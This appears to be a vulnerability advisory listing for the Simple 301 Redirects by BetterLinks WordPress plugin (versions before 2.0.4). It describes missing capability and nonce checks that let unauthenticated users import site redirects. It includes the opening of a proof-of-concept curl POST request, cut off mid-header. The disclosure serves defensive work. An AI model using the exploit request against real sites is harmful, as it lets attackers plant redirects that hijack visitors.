PT-2021-15888 · WordPress · Simple 301 Redirects By Betterlinks

Name of the Vulnerable Software and Affected Versions: Simple 301 Redirects by BetterLinks WordPress plugin versions prior to 2.0.4 Description: The issue concerns the export data function of the Simple 301 Redirects by BetterLinks WordPress plugin, which had no capability or nonce checks. This...

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - Unauthenticated Redirect Import

The importdata function of the plugin had no capability or nonce checks making it possible for unauthenticated users to import a set of site redirects. PoC curl -i -s -k -X $'POST' \ -H $'Host: URLHERE' -H $'Content-Length: 379' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H...